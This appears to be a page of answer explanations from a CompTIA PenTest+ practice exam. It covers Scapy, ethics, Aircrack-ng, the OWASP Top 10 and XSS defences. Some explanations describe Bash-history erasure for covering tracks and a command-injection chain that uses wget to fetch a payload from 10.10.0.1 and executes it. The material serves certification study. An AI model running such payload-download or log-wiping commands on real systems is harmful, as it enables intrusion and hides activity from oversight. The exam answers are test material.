CompTIA PT0-002 Practice Test - Questions Answers, Page 4

https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html

https://scapy.readthedocs.io/en/latest/introduction.html#about-scapy

Scapy is a powerful and interactive packet manipulation tool that allows the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds. Scapy can craft, send, receive, and analyze packets of various protocols, such as TCP, UDP, ICMP, or IP. Scapy can also modify any field of any layer of a packet, such as the TCP header length and checksum, which are used to indicate the size and integrity of the TCP segment. Scapy can also display the response packets from the target system, which can reveal how the proprietary service handles the invalid packet.

These two behaviors would be considered unethical because they violate the principles of honesty, integrity, and confidentiality that penetration testers should adhere to. Failing to share critical vulnerabilities with the client would be dishonest and unprofessional, as it would compromise the quality and value of the assessment and potentially expose the client to greater risks. Seeking help in underground hacker forums by sharing the client's public IP address would be a breach of confidentiality and trust, as it would expose the client's identity and information to malicious actors who may exploit them.

Aircrack-ng is a suite of tools that allows the penetration tester to test the effectiveness of the wireless IDS solutions by performing various attacks on wireless networks, such as cracking WEP and WPA keys, capturing and injecting packets, deauthenticating clients, or creating fake access points.

Aircrack-ng can also generate different types of traffic and signatures that can trigger the wireless IDS alerts or responses, such as ARP requests, EAPOL frames, or beacon frames.

Reference: https://purplesec.us/perform-wireless-penetration-test/

The commands are used to clear the Bash history file of the current user, which records the commands entered in the terminal. The first command redirects /dev/null (a special file that discards any data written to it) to temp, which creates an empty file named temp. The second command changes the timestamp of temp to match that of .bash_history (the hidden file that stores the Bash history). The third command renames temp to .bash_history, which overwrites the original file with an empty one. This effectively erases any trace of the commands executed by the user.

Reference: https://null-byte.wonderhowto.com/how-to/clear-logs-bash-history-hacked-linuxsystems-cover- your-tracks-remain-undetected-0244768/

A01-Injection

A02-Broken Authentication

A03-Sensitive Data Exposure

A04-XXE

A05-Broken Access Control

A06-Security Misconfiguration

A07-XSS

A08-Insecure Deserialization

A09-Using Components with Known Vulnerabilities

A10-Insufficient Logging & Monitoring

Reference: https://owasp.org/www-pdf-archive/OWASP_Top_10_2017_RC2_Final.pdf

Cross-site scripting (XSS) and injection flaws are two of the web-application security risks that are part of the OWASP Top 10 v2017 list. XSS is a type of attack that injects malicious scripts into web pages or applications that are viewed by other users, resulting in compromised sessions, stolen cookies, or redirected browsers. Injection flaws are a type of attack that exploits a vulnerability in an application's data input or output, such as SQL injection, command injection, or LDAP injection, resulting in unauthorized access, data loss, or remote code execution. The other options are not part of the OWASP Top 10 v2017 list.

Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.

Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.

The penetration tester should reach out to the primary point of contact as soon as possible to inform them of the critical vulnerability and the active exploitation by cybercriminals. This is the most responsible and ethical course of action, as it allows the client to take immediate steps to mitigate the risk and protect their assets. The other options are not appropriate or effective in this situation.

Trying to take down the attackers would be illegal and dangerous, as it may escalate the conflict or cause collateral damage. Calling law enforcement officials immediately would be premature and unnecessary, as it may involve disclosing confidential information or violating the scope of the engagement. Collecting the proper evidence and adding to the final report would be too slow and passive, as it would delay the notification and remediation of the vulnerability.

The penetration testers should carry copies of the engagement documents with them as proof in case they are discovered by security guards, employees, or law enforcement officials. The engagement documents should include the scope, objectives, authorization, and contact information of the penetration testing team and the client. This will help avoid any legal or ethical issues that may arise from trespassing, breaking and entering, or unauthorized access. The other options are not valid reasons for carrying the engagement documents with them.

Reference: https://hub.packtpub.com/penetration-testing-rules-of-engagement/

The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:

cd /tmp: change the current directory to /tmp

wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1

chmod 777 apache: change the permissions of the file to allow read, write, and execute for everyone

./apache: run the file as an executable

The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf /tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.